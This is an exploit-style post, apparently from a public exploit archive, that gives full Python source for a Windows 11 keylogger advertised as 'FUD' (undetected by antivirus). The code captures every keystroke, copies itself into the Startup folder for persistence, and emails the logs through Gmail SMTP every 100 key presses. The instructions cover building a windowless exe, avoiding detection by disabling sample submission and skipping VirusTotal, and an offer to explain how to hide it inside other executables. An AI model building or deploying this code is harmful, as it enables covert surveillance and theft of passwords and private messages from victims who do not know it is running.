If I can get a few cups of coffee "donations ;) " I will attempt to make a version for Windows that reports to Discord as well, Maybe i could share how to insert this into any exe hidden.
do not share to virus total, please disable automatic sample submission in windows (FUD)
Android Version: github.com/NullPounce/pounce-keys
POC DEMO:
https://vimeo.com/875678474?share=copy
# Title: FUD Windows 11 Remote Gmail Keylogger (smtp)
# Author: nullpounce
# Vendor: https://www.microsoft.com
# Version: Windows 11 22H2 Enterprise 22621.2428
# Tested on: Windows 11_x64 [eng]
# Date: 10-18-2023
# Video: https://vimeo.com/875678474?share=copy
# Contact: Site> nullpounce.com Email> [email protected]
# Description Start---------------------------------------------------------------------------------------------------------
"""
This Python script logs and sends all keystrokes to your Gmail over SMTP
-No logs are kept on the device "stored in memory and emailed on every x amount of key presses"
-No Admin required
-FUD Undetected by windows defender live/cloud protection, fully updated (sample submission off)
-Copies itself to users startup
-Important:
You must have 2FA and a APP password set up on your account.
See: https://support.google.com/accounts/answer/185833?hl=en
-TO BUILD; Edit these 3 lines with your info. (note:both emails should be the same for emailing yourself) keep the quotes
EMAIL_ADDRESS = "[email protected]"
APP_PASSWORD = "xxxx xxxx xxxx xxxx"
RECIPIENT_EMAIL = "[email protected]"
Specify how many key presses til log send "default 100" (set for 3000 to avoid spam or however big or soon you want logs, only use 100 for testing)
if key_count >= 100:
-Then run:
pip install pyinstaller
pip install pynput
python -m PyInstaller --onefile --noconsole --disable-windowed-traceback memory.py (you can use -i for custom ico)
Note that defender should be turned off for exe compile only
Your EXE should be placed inside a folder named "dist"
To change name of exe just search and replace all.
tested on Python 3.11.6/3.12
"""
# Description End---------------------------------------------------------------------------------------------------------
import smtplib
import logging
from pynput.keyboard import Key, Listener
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os
import shutil
import getpass
# Set your Gmail credentials
EMAIL_ADDRESS = "[email protected]"
APP_PASSWORD = "xxxx xxxx xxxx xxxx"
# Set the recipient email
RECIPIENT_EMAIL = "[email protected]"
# Get the current user's profile folder and username
USERPROFILE = os.path.expanduser("~")
USERNAME = getpass.getuser()
# Specify the destination path for memory.exe in the startup folder
STARTUP_PATH = os.path.join(USERPROFILE, "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "memory.exe")
# Check if memory.exe exists in the current directory and copy it to the startup folder
if os.path.exists("memory.exe"):
shutil.copy("memory.exe", STARTUP_PATH)
print("memory.exe copied to Startup folder.")
# Initialize the key count
key_count = 0
log_text = ""
# Define the callback when a key is pressed
def on_key_press(key):
global key_count, log_text
if key == Key.space:
log_text += " "
elif key == Key.backspace:
log_text = log_text[:-1]
elif key not in [Key.shift]:
log_text += str(key).replace("'", "") # Remove quotes around the key
key_count += 1
if key_count >= 100:
key_count = 0
send_email_with_logs()
# Create the email sending function
def send_email_with_logs():
global log_text
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(EMAIL_ADDRESS, APP_PASSWORD)
msg = MIMEMultipart()
msg["From"] = EMAIL_ADDRESS
msg["To"] = RECIPIENT_EMAIL
msg["Subject"] = "Keylogger Logs"
body = MIMEText(log_text)
msg.attach(body)
server.sendmail(EMAIL_ADDRESS, RECIPIENT_EMAIL, msg.as_string())
server.quit()
print("Email sent with logs.")
log_text = ""
except Exception as e:
print(f"Error sending email: {str(e)}")
# Set up the listener
with Listener(on_press=on_key_press) as listener:
listener.join()